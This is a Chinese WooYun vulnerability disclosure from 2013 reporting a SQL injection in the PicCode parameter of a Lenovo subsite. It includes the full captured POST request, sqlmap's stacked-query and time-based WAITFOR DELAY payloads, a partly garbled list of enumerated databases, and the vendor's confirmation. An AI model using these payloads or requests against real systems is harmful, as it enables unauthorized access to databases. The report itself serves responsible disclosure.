当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-047484

漏洞标题:联想某分站存在SQL注射漏洞

相关厂商:联想

漏洞作者: Mr.leo

提交时间:2013-12-31 10:50

修复时间:2014-02-14 10:51

公开时间:2014-02-14 10:51

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-31: 细节已通知厂商并且等待厂商处理中
2014-01-03: 厂商已经确认,细节仅向厂商公开
2014-01-13: 细节向核心白帽子及相关领域专家公开
2014-01-23: 细节向普通白帽子公开
2014-02-02: 细节向实习白帽子公开
2014-02-14: 细节向公众公开

简要描述:

联想#某分站存在SQL注射漏洞

详细说明:

站点:
http://ss.thinkworld.com.cn
PicCode参数没有过滤,导致注射
burp抓包数据
POST /handler/approvalHandler.ashx?t=approval HTTP/1.1
Content-Length: 54
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: ss.thinkworld.com.cn
Cookie: ASP.NET_SessionId=rlgdtu1up2trvtfpupprwr22; wbm_oauthv2=oauth=sina&app=my_app
Host: ss.thinkworld.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
PicCode=998367
sqlmap跑下
sqlmap identified the following injection points with a total of 100 HTTP(s) requests:
---
Place: POST
Parameter: PicCode
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: PicCode=998367'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: PicCode=998367' WAITFOR DELAY '0:0:5'--
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: PicCode
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: PicCode=998367'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: PicCode=998367' WAITFOR DELAY '0:0:5'--
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: PicCode
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: PicCode=998367'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: PicCode=998367' WAITFOR DELAY '0:0:5'--
---
current user: 'thinkwould\x05\x02'
current database: 'ThmnkPad_aanli_DB`4'
available databases [25]:
[*] \x7fq_pino
[*] Gift_Activity_DB\x02
[*] gq_musio
[*] JYa_1758_DBE\x02!\x11
[*] JYT_Activity_Fanli
[*] JYT_LiChvn_DB
[*] JYT_MiniSale_DB\x0f\x11\x03
[*] JYT_UW_MiniSale_DB
[*] JYT_UWine_DB
[*] Mall_Spider_DB
[*] master
[*] MiniSale_Confih_DB
[*] model
[*] msdb\x03
[*] sq_iscs
[*] sq_izcILD\x057A
[*] sq_nSD
[*] sq_xqog\x02\x05\x07\x02%a\x07M7\x11
[*] tempds\x11
[*] ThinkPad_Fanli_DB_4\x02
[*] ThinkPcd_Fanlj_DB_33J'\x13AAAA
[*] ThknkPjd_Act_20131212
[*] UhiwkSas_Fanln_DB
[*] zhinkPad_Fanli_DB_4
[*] ~у_wine
基于时间的注入,太慢不深入。

85600.png


over

漏洞证明:

已经证明

修复方案:

过滤参数

版权声明:转载请注明来源 Mr.leo@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-01-03 10:40

厂商回复:

感谢您对联想安全做出的贡献!我们将立即评估与修复相关漏洞

最新状态:

暂无


漏洞评价:

评论